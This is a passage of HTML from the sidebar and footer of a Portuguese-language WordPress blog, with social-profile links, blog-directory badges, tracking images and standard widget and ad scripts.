title="Technorati" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/technorati_48.jpg" alt="Technorati" border="0" /></a>       <a href="http://twitter.com/silici0" title="Mini blog" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/twitter_48.jpg" alt="Twitter" border="0" /></a></li> <li><a href="http://www.flickr.com/photos/silici0/" title="Album de fotos" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/flickr_48.jpg" alt="Flickr" border="0" /></a>       <a href="http://www.lastfm.com.br/user/silici0/" title="O que estou ouvindo" ><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/lastfm_48.jpg" alt="LastFm" border="0" /></a></li> </div> </ul> </div> <div align="center"><a href="http://www.clixncash.com/index.php?ref=silici0"><img src="http://www.clixncash.com/banners/banner7.gif" border=0></a></div> <br /> <div align="center"><a href="http://topofblogs.com/computers"><img border="0" src="http://stats.topofblogs.com/send/6240" alt="TopOfBlogs" /></a></div> <br /> <div align="center"><a href="http://dir.blogflux.com/cat/web-development.html"><img src="http://dir.blogflux.com/images/80x15.gif" alt="Directory of Web Development Blogs" border="0"></a></div> <br /> <div align="center"><!-- Begin BlogToplist tracker code --> <a href="http://www.blogtoplist.com/internet/" title="Internet"> <img src="http://www.blogtoplist.com/tracker.php?u=48146" alt="Internet" border="0" /></a> <noscript><a href="http://www.blogtoplist.com/rss/olga-kurylenko.html">Olga Kurylenko</a></noscript> <!-- End BlogToplist tracker code --></div> <br /> <div align="center"><a href='http://www.dignow.org'><img alt='DigNow.org' border='0' src='http://www.dignow.org/gen.aspx?idc=3212'/></a></div> <br /> <div align="center"><a href="http://www.blogcatalog.com/directory/computers/software/programming" title="Programming Blogs - Blog Catalog Blog Directory"><img src="http://www.blogcatalog.com/images/buttons/blogcatalog5.gif" alt="Programming Blogs - Blog Catalog Blog Directory" style="border: 0;" /></a></div> <br /> <div align="center"><a href='http://blogblogs.com.br/' title='BlogBlogs: O seu guia na blogosfera.'><img src='http://assets5.blogblogs.com.br/public/bb/images/promo/blogblogs_80x15_2.gif' alt='BlogBlogs'></a></div> <br /> <div align="center"><script src="http://widgets.technorati.com/t.js" type="text/javascript"> </script> <a href="http://technorati.com/blogs/www.rafaelcunha.com?sub=tr_authority_t_ns" class="tr_authority_t_js" style="color:#4261DF">View blog authority</a></div> </div> <div class="both"></div> </div> <!-- end sidebar --> </td> <td width="30"> </td> <td class="rls"> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0" id="footer"> <tr> <td height="124" class="lls">  </td> <td width="877" valign="bottom" class="bottomTd"> <div id="greenLine5"><img src="http://www.rafaelcunha.com/wp-content/themes/green/images/spacer.gif"></div> <p id="credits"> Powered by <a href="http://wordpress.org">WordPress</a>. Theme designed by <a href="http://www.lunarpages.com">Lunarpages Web Hosting</a>.<br> Hosting provided by <a href="http://www.lunarpages.com">Lunarpages Web Hosting</a> <!-- 43 queries. 0.435 seconds. --> </p> </td> <td class="rls"> </td> </tr> </table> <script src="adsense-track.js" type="text/javascript"></script> <div align="center"> <!-- <script src="http://www.suarenda.com/exibaeganhe/float.php?ind1=silici0@gmail.com&patro=jcdr@estadao.com.br" language="javascript" ></script> --> </div> </body> </html>